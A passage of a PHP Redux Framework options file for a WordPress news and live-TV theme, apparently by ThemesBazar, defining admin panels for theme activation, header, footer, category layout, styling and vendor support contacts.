'icon' => 'el el-twitter'
);
$args['share_icons'][] = array(
'url' => 'https://www.linkedin.com/company/themesbazar.com/',
'title' => 'Find us on LinkedIn',
'icon' => 'el el-linkedin'
);
// Panel Intro text -> before the form
if ( ! isset( $args['global_variable'] ) || $args['global_variable'] !== false ) {
if ( ! empty( $args['global_variable'] ) ) {
$v = $args['global_variable'];
} else {
$v = str_replace( '-', '_', $args['opt_name'] );
}
$args['intro_text'] = sprintf( __( '', 'ThemesBazar' ), $v );
} else {
$args['intro_text'] = __( '<p>This text is displayed above the options panel. It isn\'t required, but more info is always better! The intro_text field accepts all HTML.</p>', 'ThemesBazar' );
}
// Add content after the form.
$args['footer_text'] = __( '', 'ThemesBazar' );
Redux::setArgs( $opt_name, $args );
/*
* ---> END ARGUMENTS
*/
/*
* ---> START HELP TABS
*/
$tabs = array(
array(
'id' => 'redux-help-tab-1',
'title' => __( 'Theme Information 1', 'ThemesBazar' ),
'content' => __( '<p>This is the tab content, HTML is allowed.</p>', 'ThemesBazar' )
),
array(
'id' => 'redux-help-tab-2',
'title' => __( 'Theme Information 2', 'ThemesBazar' ),
'content' => __( '<p>This is the tab content, HTML is allowed.</p>', 'ThemesBazar' )
)
);
Redux::setHelpTab( $opt_name, $tabs );
// Set the help sidebar
$content = __( '<p>This is the sidebar content, HTML is allowed.</p>', 'ThemesBazar' );
Redux::setHelpSidebar( $opt_name, $content );
/*
* <--- END HELP TABS
*/
/*
*
* ---> START SECTIONS
*
*/
/*
As of Redux 3.5+, there is an extensive API. This API can be used in a mix/match mode allowing for
////////////////////////// */
Redux::setSection( $opt_name, array(
'title' => __( 'Activation Theme', 'ThemesBazar' ),
'id' => 'purchase_theme',
'icon' => 'el el-home',
'fields' => array(
array(
'id' => 'config_theme',
'type' => 'text',
'title' => __( 'Theme Purchase code', 'ThemesBazar' ),
'subtitle' => __( 'Please Active Your Theme', 'ThemesBazar' ),
'desc' => __( 'For activation code Please Contect Themesbazar Helpline', 'ThemesBazar' ),
'default' => 'themesbazar_newssitedesign',
),
),
) );
// -> ----------------------START Live TV Option----------------------------------------------#
Redux::setSection( $opt_name, array(
'title' => __( 'Live TV Options', 'redux-framework-demo' ),
'id' => 'livetv',
'icon' => 'el el-video',
'fields' => array(
array(
'title' => __('Homepage TV Screen', 'redux-framework-demo'),
'id' => 'home_screen',
'type' => 'button_set',
'options' => array(
'1' => 'Show Tv Screen in Homepage',
'2' => 'Hide Tv Screen in Homepage',
),
'default' => '1'
),
array(
'title' => __('TV Screen Full and Box', 'ThemesBazar'),
'id' => 'full-body-homescreen',
'type' => 'button_set',
'options' => array(
'1' => 'Full',
'2' => 'Box',
),
'default' => '2'
),
array(
'title' => __('Logo Show Option', 'redux-framework-demo'),
'id' => 'logo-show',
'type' => 'button_set',
'options' => array(
'1' => 'Show Logo',
'2' => 'Hide Logo',
),
'default' => '1'
),
array(
'title' => __('Logo position', 'redux-framework-demo'),
'id' => 'logo-movee',
'type' => 'button_set',
'options' => array(
'1' => 'Logo Left',
'2' => 'Logo Right',
),
'default' => '1'
),
array(
'id' => 'logo_monitor',
'type' => 'media',
'title' => __( 'Monitor Logo Uploader', 'redux-framework-demo' ),
'subtitle' => __( 'Logo Size 500px*450px', 'redux-framework-demo' ),
'default' => '',
'compiler' => true,
'default' => array(
'url' => get_template_directory_uri().'/images/homepage-logo.gif',
)
),
array(
'title' => __('Top Scroll ', 'ThemesBazar'),
'id' => 'top_scroll',
'type' => 'button_set',
'options' => array(
'1' => 'Show',
'2' => 'Hide',
),
'default' => '1'
),
array(
'title' => __('Header Scrool Setting', 'ThemesBazar'),
'id' => 'top_scroll_set',
'type' => 'button_set',
'options' => array(
'1' => 'Latest',
'2' => 'Category',
'3' => 'Custom',
),
'default' => '1'
),
array(
'id' => 'top_scroll_title',
'type' => 'text',
'title' => __( 'Header Scroll Title', 'ThemesBazar' ),
'default' => 'Title : ',
),
array(
'id' => 'top_scroll_cat',
'type' => 'select',
'title' => __( 'Select Scrool Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'top_scroll_content',
'type' => 'editor',
'title' => __( 'Header Scroll Content', 'ThemesBazar' ),
'default' => 'Welcome To Our Website...',
),
array(
'id' => 'how_top_scroll',
'type' => 'text',
'title' => __( 'How Many Post', 'ThemesBazar' ),
'default' => 10,
),
array(
'id' => 'header-scrool-icon',
'type' => 'text',
'title' => __( 'Scrool Icon', 'ThemesBazar' ),
'desc' => __('<a href="https://www.w3schools.com/icons/fontawesome_icons_directional.asp" target="_blank"> Click Here For More Icons </a>', 'ThemesBazar' ),
'default' => 'fa fa-square',
),
array(
'title' => __('Bottom Scroll ', 'ThemesBazar'),
'id' => 'bottom_scroll',
'type' => 'button_set',
'options' => array(
'1' => 'Show',
'2' => 'Hide',
),
'default' => '1'
),
array(
'id' => 'bottom_scroll_title',
'type' => 'text',
'title' => __( 'Header Scroll Title', 'ThemesBazar' ),
'default' => 'Notice : ',
),
array(
'id' => 'how_bottom_scroll',
'type' => 'text',
'title' => __( 'How Many Post', 'ThemesBazar' ),
'default' => 5,
),
)
) );
// -> ----------------------START Header Option----------------------------------------------#
Redux::setSection( $opt_name, array(
'title' => __( 'Header Options', 'ThemesBazar' ),
'id' => 'header',
'icon' => 'el el-home',
'fields' => array(
array(
'title' => __('Site Content', 'ThemesBazar'),
'id' => 'site-content',
'type' => 'button_set',
'options' => array(
'1' => 'Bangla',
'2' => 'English',
),
'default' => '2'
),
array(
'id' => 'hlogo_upload',
'type' => 'media',
'title' => __( 'Logo Uploader', 'ThemesBazar' ),
'subtitle' => __( 'Upload Your Logo', 'ThemesBazar' ),
'compiler' => true,
'default' => array(
'url' => get_template_directory_uri().'/images/logo.gif',
)
),
array(
'id' => 'favicon',
'type' => 'media',
'title' => __( 'Favicon Uploader', 'ThemesBazar' ),
'subtitle' => __( 'Upload Your Favicon png Formet', 'ThemesBazar' ),
'compiler' => true,
'default' => array(
'url' => get_template_directory_uri().'/images/favicon.png',
)
),
array(
'id' => 'bannar_upload',
'type' => 'media',
'title' => __( 'Bannar Uploader', 'ThemesBazar' ),
'subtitle' => __( 'Please Upload Your Bannar', 'ThemesBazar' ),
'default' => '',
'compiler' => true,
'default' => array(
'url' => get_template_directory_uri().'/images/bannar.gif',
)
),
array(
'title' => __('Bannar Link', 'ThemesBazar'),
'id' => 'bannar-link',
'type' => 'text',
'options' => array(
'bannar-url' => 'Bannar Url',
),
'default' => array(
'bannar-url' => 'https://www.themesbazar.com',
)
),
array(
'id' => 'placeholder',
'type' => 'text',
'title' => __( 'Search placeholder', 'ThemesBazar' ),
'default' => 'Write Here..',
),
array(
'id' => 'search',
'type' => 'text',
'title' => __( 'Search Button Text', 'ThemesBazar' ),
'default' => 'Search',
),
array(
'title' => __('Social Profiles', 'ThemesBazar'),
'id' => 'social-link',
'type' => 'text',
'options' => array(
'facebook-url' => 'Facebook Link',
'twitter-url' => 'Twitter Link',
'googleplus-url' => 'Googleplus Link',
'youtube-url' => 'Youtube Link',
'android-url' => 'Android Link',
),
'default' => array(
'facebook-url' => 'https://www.facebook.com/themesbazar/',
'twitter-url' => 'https://twitter.com/themesbazar',
'googleplus-url' => 'https://plus.google.com/u/0/105425294191118715092',
'youtube-url' => 'https://www.youtube.com/channel/UCFUeGmdXrBAb8o_3X9Evywg',
'android-url' => '#',
)
),
)
) );
// -> ----------------------START Footer Option----------------------------------------------#
Redux::setSection( $opt_name, array(
'title' => __( 'Footer Options', 'ThemesBazar' ),
'id' => 'footer',
'icon' => 'el el-th',
'fields' => array(
array(
'id' => 'logo_upload',
'type' => 'media',
'title' => __( 'Logo Uploader', 'ThemesBazar' ),
'subtitle' => __( 'Upload Your Logo', 'ThemesBazar' ),
'compiler' => true,
'default' => array(
'url' => get_template_directory_uri().'/images/logo.gif',
)
),
array(
'title' => __('Footer Social Profiles', 'ThemesBazar'),
'id' => 'ftr-social-link',
'type' => 'text',
'options' => array(
'facebook-url' => 'Facebook Link',
'twitter-url' => 'Twitter Link',
'googleplus-url' => 'Googleplus Link',
'linkedin-url' => 'Linkedin Link',
),
'default' => array(
'facebook-url' => 'https://www.facebook.com/themesbazar/',
'twitter-url' => 'https://twitter.com/themesbazar',
'googleplus-url' => 'https://plus.google.com/u/0/105425294191118715092',
'linkedin-url' => '#',
)
),
array(
'id' => 'editorial',
'type' => 'editor',
'title' => __( 'Editorial Text', 'ThemesBazar' ),
'default' => 'Office : Dhaka,Bngkadesh. Mobile : 01700-000000, Email : Sales@gmail.com',
),
array(
'id' => 'copyright',
'type' => 'editor',
'title' => __( 'Copyright Text', 'ThemesBazar' ),
'default' => '© All rights reserved © 2019 TV Site',
),
)
) );
// -> ----------------------START Category Option----------------------------------------------#
Redux::setSection( $opt_name, array(
'title' => __( 'Category Settings', 'ThemesBazar' ),
'id' => 'category',
'icon' => 'el el-cog',
'fields' => array(
array(
'id' => 'homepage-section',
'type' => 'sorter',
'title' => 'Homepage Layout Manager',
'desc' => 'Organize how you want the layout to appear on the homepage',
'options' => array(
'Show' => array(
'section-one' => 'Catagory Section One',
'section-two' => 'Catagory Section Two',
'section-three' => 'Catagory Section Three',
'section-four' => 'Catagory Section Four',
'section-five' => 'Catagory Section Five ',
'section-six' => 'Catagory Section Six',
'section-seven' => 'Catagory Section Seven ',
'section-eight' => 'Catagory Section Eight',
),
'Hide' => array(
)
),
),
array(
'title' => __('Select Catagory Style', 'ThemesBazar'),
'id' => 'catagory-style',
'type' => 'button_set',
'options' => array(
'1' => ' Style One',
'2' => ' Style Two',
'3' => ' Style Three',
'4' => ' Style Four',
),
'default' => '1'
),
array(
'id' => 'section-one',
'type' => 'button_set',
'options' => array(
'1' => 'Catagory Section One',
),
'default' => '1'
),
array(
'id' => 'cat-one',
'type' => 'select',
'title' => __( '1st Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'section-two',
'type' => 'button_set',
'options' => array(
'1' => 'Catagory Section Two',
),
'default' => '1'
),
array(
'id' => 'cat-two',
'type' => 'select',
'title' => __( '2nd Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'how_post_two',
'type' => 'text',
'title' => __( 'How Post Show in Category', 'ThemesBazar' ),
'default' => 8,
),
array(
'id' => 'section-three',
'type' => 'button_set',
'options' => array(
'1' => 'Catagory Section Three',
),
'default' => '1'
),
array(
'id' => 'cat-three',
'type' => 'select',
'title' => __( '3rd Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'how_post_three',
'type' => 'text',
'title' => __( 'How Post Show in Category', 'ThemesBazar' ),
'default' => 4,
),
array(
'id' => 'section-four',
'type' => 'button_set',
'options' => array(
'1' => 'Catagory Section Four',
),
'default' => '1'
),
array(
'id' => 'cat-four',
'type' => 'select',
'title' => __( '4th Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'section-five',
'type' => 'button_set',
'options' => array(
'1' => 'Catagory Section Five',
),
'default' => '1'
),
array(
'id' => 'cat-five',
'type' => 'select',
'title' => __( '5th Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'section-six',
'type' => 'button_set',
'options' => array(
'1' => 'Catagory Section Six',
),
'default' => '1'
),
array(
'id' => 'cat-six',
'type' => 'select',
'title' => __( '6th Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'how_post_six',
'type' => 'text',
'title' => __( 'How Post Show in Category', 'ThemesBazar' ),
'default' => 4,
),
array(
'id' => 'cat-seven',
'type' => 'select',
'title' => __( '7th Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'how_post_seven',
'type' => 'text',
'title' => __( 'How Post Show in Category', 'ThemesBazar' ),
'default' => 4,
),
array(
'id' => 'section-seven',
'type' => 'button_set',
'options' => array(
'1' => 'Catagory Section Seven',
),
'default' => '1'
),
array(
'id' => 'cat-eight',
'type' => 'select',
'title' => __( '8th Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'how_post_eight',
'type' => 'text',
'title' => __( 'How Post Show in Category', 'ThemesBazar' ),
'default' => 8,
),
array(
'id' => 'section-eight',
'type' => 'button_set',
'options' => array(
'1' => 'Catagory Section Eight',
),
'default' => '1'
),
array(
'id' => 'cat-nine',
'type' => 'select',
'title' => __( '9th Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'sidebar-section',
'type' => 'button_set',
'options' => array(
'1' => 'Sidebar Catagory Section',
),
'default' => '1'
),
array(
'id' => 'cat-sidebarone',
'type' => 'select',
'title' => __( '1st Sidebar Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'how_post_sidebarone',
'type' => 'text',
'title' => __( 'How Post Show in Category', 'ThemesBazar' ),
'default' => 4,
),
array(
'id' => 'cat-sidebartwo',
'type' => 'select',
'title' => __( '2nd Sidebar Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'how_post_sidebartwo',
'type' => 'text',
'title' => __( 'How Post Show in Category', 'ThemesBazar' ),
'default' => 2,
),
array(
'id' => 'cat-sidebarthree',
'type' => 'select',
'title' => __( '3rd Sidebar Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'how_post_sidebarthree',
'type' => 'text',
'title' => __( 'How Post Show in Category', 'ThemesBazar' ),
'default' => 4,
),
array(
'id' => 'cat-sidebarfour',
'type' => 'select',
'title' => __( '4th Sidebar Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'how_post_sidebarfour',
'type' => 'text',
'title' => __( 'How Post Show in Category', 'ThemesBazar' ),
'default' => 2,
),
array(
'id' => 'cat-sidebarfive',
'type' => 'select',
'title' => __( '5rd Sidebar Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'how_post_sidebarfive',
'type' => 'text',
'title' => __( 'How Post Show in Category', 'ThemesBazar' ),
'default' => 4,
),
array(
'id' => 'cat-sidebarsix',
'type' => 'select',
'title' => __( '6th Sidebar Category', 'ThemesBazar' ),
'subtitle' => __( 'Please Select Your Category', 'ThemesBazar' ),
'desc' => __( '1st Create Category From Posts-> Category, Then Select Here.', 'ThemesBazar' ),
'default' => '1',
'data' => 'category',
),
array(
'id' => 'how_post_sidebarsix',
'type' => 'text',
'title' => __( 'How Post Show in Category', 'ThemesBazar' ),
'default' => 2,
),
)
) );
// -> ----------------------START Layout Option----------------------------------------------#
Redux::setSection( $opt_name, array(
'title' => __( 'Layout', 'ThemesBazar' ),
'id' => 'layout',
'icon' => 'el el-qrcode',
'fields' => array(
array(
'title' => __('Full and Box Website', 'ThemesBazar'),
'id' => 'full-body-website',
'type' => 'button_set',
'options' => array(
'1' => 'Full',
'2' => 'Box',
),
'default' => '2'
),
array(
'id' => 'last',
'type' => 'text',
'title' => __( 'Last Update Title', 'ThemesBazar' ),
'default' => 'Last Update',
),
array(
'id' => 'lastpost',
'type' => 'text',
'title' => __( 'How Many Post', 'ThemesBazar' ),
'default' => 10,
),
array(
'id' => 'popular',
'type' => 'text',
'title' => __( 'PopularPost Title', 'ThemesBazar' ),
'default' => 'Popular Post',
),
array(
'id' => 'more_news',
'type' => 'text',
'title' => __( 'More Category Text', 'ThemesBazar' ),
'default' => 'More News..',
),
array(
'title' => __('Facebook', 'ThemesBazar'),
'id' => 'facebook',
'type' => 'button_set',
'options' => array(
'1' => 'Facebook Show',
'2' => 'Facebook Hide',
),
'default' => '1'
),
array(
'id' => 'facebook-title',
'type' => 'text',
'title' => __( 'Facebook Title', 'ThemesBazar' ),
'default' => 'Our Like Page',
),
array(
'title' => __('Facebook Link', 'ThemesBazar'),
'id' => 'facebook-link',
'type' => 'text',
'options' => array(
'face-url' => 'Facebook Url',
),
'default' => array(
'face-url' => 'https://www.facebook.com/themesbazar',
)
),
array(
'id' => 'facebook-width',
'type' => 'text',
'title' => __( 'Facebook width', 'ThemesBazar' ),
'default' => '390',
),
array(
'id' => 'facebook-height',
'type' => 'text',
'title' => __( 'Facebook Height', 'ThemesBazar' ),
'default' => '260',
),
array(
'title' => __('Archive Calender', 'ThemesBazar'),
'id' => 'acrive-calender',
'type' => 'button_set',
'options' => array(
'1' => 'Calender Show',
'2' => 'Calender Hide',
),
'default' => '1'
),
array(
'id' => 'calender-title',
'type' => 'text',
'title' => __( 'Archive Title Text', 'ThemesBazar' ),
'default' => 'Archive',
),
array(
'id' => 'select-date',
'type' => 'text',
'title' => __( 'Date Title text', 'ThemesBazar' ),
'default' => 'Select Your Date',
),
array(
'id' => 'date-search',
'type' => 'text',
'title' => __( 'Search Title text', 'ThemesBazar' ),
'default' => 'Search',
),
)
) );
// -> ----------------------START Single Page Option----------------------------------------------#
Redux::setSection( $opt_name, array(
'title' => __( 'Single Post Options', 'ThemesBazar' ),
'id' => 'single',
'icon' => 'el el-list',
'fields' => array(
array(
'id' => 'home',
'type' => 'text',
'title' => __( 'Home Text', 'ThemesBazar' ),
'default' => 'Home',
),
array(
'id' => 'reporter',
'type' => 'text',
'title' => __( 'Reportar Name Text', 'ThemesBazar' ),
'default' => 'Reporter Name',
),
array(
'id' => 'update',
'type' => 'text',
'title' => __( 'Update Time Text', 'ThemesBazar' ),
'default' => 'Update Time :',
),
array(
'title' => __('view Count', 'ThemesBazar'),
'id' => 'view-tab',
'type' => 'button_set',
'options' => array(
'1' => 'Time View Show',
'2' => 'Time View Hide',
),
'default' => '1'
),
array(
'id' => 'count',
'type' => 'text',
'title' => __( 'Post Count Text', 'ThemesBazar' ),
'default' => 'Time View',
),
array(
'title' => __('Social Share', 'ThemesBazar'),
'id' => 'social_share',
'type' => 'button_set',
'options' => array(
'1' => 'Social Icon Show',
'2' => 'Social Icon Hide',
),
'default' => '1'
),
array(
'id' => 'social_title',
'type' => 'text',
'title' => __( 'Social Title', 'ThemesBazar' ),
'default' => 'Please Share This Post in Your Social Media',
),
array(
'title' => __('Coment Box', 'ThemesBazar'),
'id' => 'coment',
'type' => 'button_set',
'options' => array(
'1' => 'Coment Box Show',
'2' => 'Coment Box Hide',
),
'default' => '1'
),
array(
'id' => 'more-news-category',
'type' => 'text',
'title' => __( 'More News Category Text', 'ThemesBazar' ),
'default' => 'More News Of This Category',
),
)
) );
// -> ----------------------START Style Option----------------------------------------------#
Redux::setSection( $opt_name, array(
'title' => __( 'Style', 'ThemesBazar' ),
'id' => 'style',
'icon' => 'el el-adjust',
'fields' => array(
array(
'id' => 'tv-background',
'type' => 'color',
'title' => __('TV Screen Background', 'ThemesBazar'),
'subtitle' => __('Pick a background color for the theme (default: #fff).', 'ThemesBazar'),
'default' => '#000',
'validate' => 'color',
),
array(
'id' => 'body-background',
'type' => 'color',
'title' => __('Website Body Background', 'ThemesBazar'),
'subtitle' => __('Pick a background color for the theme (default: #fff).', 'ThemesBazar'),
'default' => '#FBFBFB',
'validate' => 'color',
),
array(
'id' => 'body-font',
'type' => 'typography',
'title' => __('Body Font Size', 'ThemesBazar'),
'subtitle' => __('Please Set Here Body Background Font Size.', 'ThemesBazar'),
'font-family' => false,
'font-weight' => false,
'font-style' => false,
'font-backup' => false,
'text-align' => false,
'line-height' => false,
'color' => false,
'default' => array(
'font-size' => '16px',
)
),
array(
'id' => 'hscrool-background',
'type' => 'color',
'title' => __('Scrool Background', 'ThemesBazar'),
'subtitle' => __('Pick a background color for the theme (default: #fff).', 'ThemesBazar'),
'default' => '#D4000E',
'validate' => 'color',
),
array(
'id' => 'hscrool-font',
'type' => 'typography',
'title' => __('Header Scrool Title font color and Font Size', 'ThemesBazar'),
'subtitle' => __('Please Set Here Body Background Font Size.', 'ThemesBazar'),
'font-family' => false,
'font-weight' => false,
'font-style' => false,
'font-backup' => false,
'text-align' => true,
'line-height' => false,
'color' => true,
'default' => array(
'text-align' => 'left',
'color' => '#fff',
)
),
array(
'id' => 'menu-background',
'type' => 'color',
'title' => __('Menu Background', 'ThemesBazar'),
'subtitle' => __('Pick a background color for the theme (default: #fff).', 'ThemesBazar'),
'default' => '#B30F0F',
'validate' => 'color',
),
array(
'id' => 'menu-font',
'type' => 'typography',
'title' => __('Menu Color and Font Size', 'ThemesBazar'),
'subtitle' => __('Please Set Here Menu Color and Font Size.', 'ThemesBazar'),
'font-family' => false,
'font-weight' => false,
'font-style' => false,
'font-backup' => false,
'text-align' => false,
'font-size' => true,
'line-height' => false,
'color' => true,
'default' => array(
'font-size' => '16px',
'color' => '#fff',
)
),
array(
'id' => 'cat_one-title-background',
'type' => 'color',
'title' => __('Catagory Style One Background', 'ThemesBazar'),
'subtitle' => __('Pick a background color for the theme (default: #fff).', 'ThemesBazar'),
'default' => '#e8e8e8',
'validate' => 'color',
),
array(
'id' => 'cat_one-title-font',
'type' => 'typography',
'title' => __('Catagory Style One Font', 'ThemesBazar'),
'subtitle' => __('Please Set Here Body Font ', 'ThemesBazar'),
'font-family' => false,
'font-weight' => true,
'font-style' => false,
'font-backup' => false,
'text-align' => false,
'font-size' => true,
'line-height' => false,
'color' => true,
'default' => array(
'color' => '#000',
'font-weight' => '400',
'font-size' => '18px',
)
),
array(
'id' => 'cat_two-title-background',
'type' => 'color',
'title' => __('catagory Title One Color', 'ThemesBazar'),
'subtitle' => __('Pick a background color for the theme (default: #fff).', 'ThemesBazar'),
'default' => '#01284F',
'validate' => 'color',
),
array(
'id' => 'cat_two-title-font',
'type' => 'typography',
'title' => __('Catagory Title One Font', 'ThemesBazar'),
'subtitle' => __('Please Set Here Body Font ', 'ThemesBazar'),
'font-family' => false,
'font-weight' => true,
'font-style' => false,
'font-backup' => false,
'text-align' => false,
'font-size' => true,
'line-height' => false,
'color' => true,
'default' => array(
'color' => '#fff',
'font-weight' => '400',
'font-size' => '18px',
)
),
array(
'id' => 'cat_three-title-background',
'type' => 'color',
'title' => __('catagory Title Three Color', 'ThemesBazar'),
'subtitle' => __('Pick a background color for the theme (default: #fff).', 'ThemesBazar'),
'default' => '#004F8A',
'validate' => 'color',
),
array(
'id' => 'cat_three-title-font',
'type' => 'typography',
'title' => __('Catagory Title Three Font', 'ThemesBazar'),
'subtitle' => __('Please Set Here Body Font ', 'ThemesBazar'),
'font-family' => false,
'font-weight' => true,
'font-style' => false,
'font-backup' => false,
'text-align' => false,
'font-size' => true,
'line-height' => false,
'color' => true,
'default' => array(
'color' => '#fff',
'font-weight' => '400',
'font-size' => '18px',
)
),
array(
'id' => 'cat_four-title-background',
'type' => 'color',
'title' => __('catagory Title Four Color', 'ThemesBazar'),
'subtitle' => __('Pick a background color for the theme (default: #fff).', 'ThemesBazar'),
'default' => '#014160',
'validate' => 'color',
),
array(
'id' => 'cat_four-title-font',
'type' => 'typography',
'title' => __('Catagory Title Four Font', 'ThemesBazar'),
'subtitle' => __('Please Set Here Body Font ', 'ThemesBazar'),
'font-family' => false,
'font-weight' => true,
'font-style' => false,
'font-backup' => false,
'text-align' => false,
'font-size' => true,
'line-height' => false,
'color' => true,
'default' => array(
'color' => '#fff',
'font-weight' => '400',
'font-size' => '18px',
)
),
array(
'id' => 'heading-01-font',
'type' => 'typography',
'title' => __('Heading Font', 'ThemesBazar'),
'subtitle' => __('Please Set Here Body Font ', 'ThemesBazar'),
'font-family' => false,
'font-weight' => true,
'font-style' => false,
'font-backup' => false,
'text-align' => false,
'font-size' => true,
'line-height' => true,
'color' => true,
'default' => array(
'color' => '#000',
'font-weight' => '400',
'font-size' => '22px',
'line-height' => 'auto',
)
),
array(
'id' => 'heading-02-font',
'type' => 'typography',
'title' => __('Heading Font', 'ThemesBazar'),
'subtitle' => __('Please Set Here Body Font ', 'ThemesBazar'),
'font-family' => false,
'font-weight' => true,
'font-style' => false,
'font-backup' => false,
'text-align' => false,
'font-size' => true,
'line-height' => true,
'color' => true,
'default' => array(
'color' => '#000',
'font-weight' => '400',
'font-size' => '19px',
'line-height' => 'auto',
)
),
array(
'id' => 'heading-03-font',
'type' => 'typography',
'title' => __('Heading Font', 'ThemesBazar'),
'subtitle' => __('Please Set Here Body Font ', 'ThemesBazar'),
'font-family' => false,
'font-weight' => true,
'font-style' => false,
'font-backup' => false,
'text-align' => false,
'font-size' => true,
'line-height' => true,
'color' => true,
'default' => array(
'color' => '#000',
'font-weight' => '400',
'font-size' => '17px',
'line-height' => 'auto',
)
),
array(
'id' => 'more-news',
'type' => 'typography',
'title' => __('More News Font', 'ThemesBazar'),
'subtitle' => __('Please Set Here Body Font ', 'ThemesBazar'),
'font-family' => false,
'font-weight' => true,
'font-style' => false,
'font-backup' => false,
'text-align' => false,
'font-size' => true,
'line-height' => true,
'color' => true,
'default' => array(
'color' => '#FE0303',
'font-weight' => '500',
'font-size' => '15px',
)
),
array(
'id' => 'widget-background',
'type' => 'color',
'title' => __('Archive Title Background', 'ThemesBazar'),
'subtitle' => __('Pick a background color for the theme (default: #fff).', 'ThemesBazar'),
'default' => '#014160',
'validate' => 'color',
),
array(
'id' => 'widget-font',
'type' => 'typography',
'title' => __('Widget Color, Text Align and Font Size', 'ThemesBazar'),
'subtitle' => __('Please Set Here Small Headline Color Font Size.', 'ThemesBazar'),
'font-family' => false,
'font-weight' => false,
'font-style' => false,
'font-backup' => false,
'text-align' => true,
'line-height' => false,
'color' => true,
'default' => array(
'color' => '#fff',
'font-weight' => '400',
'font-size' => '18px',
)
),
array(
'id' => 'footer-background',
'type' => 'color',
'title' => __('Footer Background', 'ThemesBazar'),
'subtitle' => __('Pick a background color for the theme (default: #fff).', 'ThemesBazar'),
'default' => '#282828',
'validate' => 'color',
),
array(
'id' => 'footer-font',
'type' => 'typography',
'title' => __('Footer Font Color and Font Size', 'ThemesBazar'),
'subtitle' => __('Please Set Footer Font Color Font Size.', 'ThemesBazar'),
'font-family' => false,
'font-weight' => false,
'font-style' => false,
'font-backup' => false,
'text-align' => true,
'line-height' => false,
'color' => true,
'default' => array(
'color' => '#ddd',
)
),
array(
'id' => 'btm-footer-background',
'type' => 'color',
'title' => __('Bottom Footer Background', 'ThemesBazar'),
'subtitle' => __('Pick a background color for the theme (default: #fff).', 'ThemesBazar'),
'default' => '#000',
'validate' => 'color',
),
array(
'id' => 'root-font',
'type' => 'typography',
'title' => __('Copyrigh font color', 'ThemesBazar'),
'subtitle' => __('Please Set Here ', 'ThemesBazar'),
'font-family' => false,
'font-weight' => true,
'font-style' => false,
'font-backup' => false,
'text-align' => false,
'font-size' => true,
'line-height' => true,
'color' => true,
'default' => array(
'color' => '#B8B8B8',
)
),
)
) );
// -> ----------------------START Support Option----------------------------------------------#
Redux::setSection( $opt_name, array(
'title' => __( 'Support', 'ThemesBazar' ),
'id' => 'support',
'desc' => __( '
<b> ThemesBazar.Com </b> <br/>
Website : <a href="http://www.themesbazar.com" target="_blank">ThemesBazar.Com</a> <br/>
Facebook : <a href="http://www.facebook.com/themesbazar" target="_blank">www.facebook.com/themesbazar</a> <br/>
Email : <a href="mailto:themesbazar@gmail.com" target="_blank">themesbazar@gmail.com</a> <br/>
Mobile : +8801732-667364, +8801753-842842 <br/>', 'ThemesBazar' ),
'icon' => 'el el-phone',
) );
// -> ----------------------START More Themes Option----------------------------------------------#
Redux::setSection( $opt_name, array(
'title' => __( 'Our More Themes', 'ThemesBazar' ),
'id' => 'more-themes',
'icon' => 'el el-website',
'desc' => __( '
